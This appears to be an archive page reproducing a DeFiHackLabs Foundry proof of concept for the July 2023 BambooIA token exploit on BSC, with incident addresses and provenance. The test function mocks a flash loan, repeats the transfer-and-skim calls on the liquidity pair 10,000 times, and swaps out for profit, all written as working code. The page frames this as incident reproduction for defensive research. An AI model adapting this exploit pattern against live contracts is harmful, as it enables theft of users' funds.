Public reproduction file
src/test/2023-07/Bamboo_exp.sol
Public reproduction file for dataset entry BambooIA.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~200BNB8// Attacker : 0x00703face6621bd207d3b4ac9867058190c0bb099// Attack Contract : 0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc10// Vulnerable Contract : 0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a9411// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a1012// Block: 2966803414// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a9417// @Analysis18// Post-mortem : https://twitter.com/Phalcon_xyz/status/167622009014291661120// @POC Author : https://twitter.com/eugenioclrc22contract BambooTest is Test {23 IERC20 wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);24 IERC20 bamboo = IERC20(0xED56784bC8F2C036f6b0D8E04Cb83C253e4a6A94);26 IPancakePair wbnbBambooPair = IPancakePair(0x0557713d02A15a69Dea5DD4116047e50F521C1b1);27 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));28 IUniswapV2Factory factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);30 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);32 function setUp() public {33 cheats.createSelectFork("bsc", 29_668_034);35 vm.label(address(wbnb), "WBNB");36 vm.label(address(bamboo), "BAMBOO");37 vm.label(address(router), "PancakeRouter");38 }40 function toEth(41 uint256 _wei42 ) internal returns (string memory) {43 string memory eth = vm.toString(_wei / 1 ether);44 string memory decs = vm.toString(_wei % 1 ether);46 string memory result = string.concat(string.concat(eth, "."), decs);48 return result;49 }51 function testExploit() public {52 // get a flash loan (lets mock it out)53 deal(address(wbnb), address(this), 4000 ether);55 console.log("start balance after flashloan", toEth(wbnb.balanceOf(address(this))));57 uint256 bambooBalance = bamboo.balanceOf(address(wbnbBambooPair));59 address[] memory path;60 path = new address[](2);61 path[0] = address(wbnb);62 path[1] = address(bamboo);63 uint256[] memory amounts = router.getAmountsIn(bambooBalance * 9 / 10, path);65 wbnb.approve(address(router), type(uint256).max);66 router.swapExactTokensForTokens(amounts[1], 0, path, address(this), block.timestamp);68 uint256 max = 10_000;69 for (uint256 i; i < max; ++i) {70 bamboo.transfer(address(wbnbBambooPair), 1_343_870_967_101_818_317);71 wbnbBambooPair.skim(address(this));72 }74 path[0] = address(bamboo);75 path[1] = address(wbnb);76 bamboo.approve(address(router), type(uint256).max);78 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(79 bamboo.balanceOf(address(this)), 0, path, address(this), block.timestamp80 );82 console.log("profit after return flashloan", toEth(wbnb.balanceOf(address(this)) - 4000 ether));83 }84}Analysis
Dataset entry
Public Foundry test for “BambooIA” (2023-07-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x00703face6621bd207d3b4ac9867058190c0bb09
- Attack Contract
0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc
- Vulnerable Contract
0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94
- Attack Tx
0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10
File record
- Name
- BambooIA
- Path
- src/test/2023-07/Bamboo_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6d9bc10e0be82909bb514d9522a6ea634556244d
- Language
- Solidity
- Size
- 85 lines
- Date
- 2023-07-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Bamboo_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d9bc10e0be82909bb514d9522a6ea634556244d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.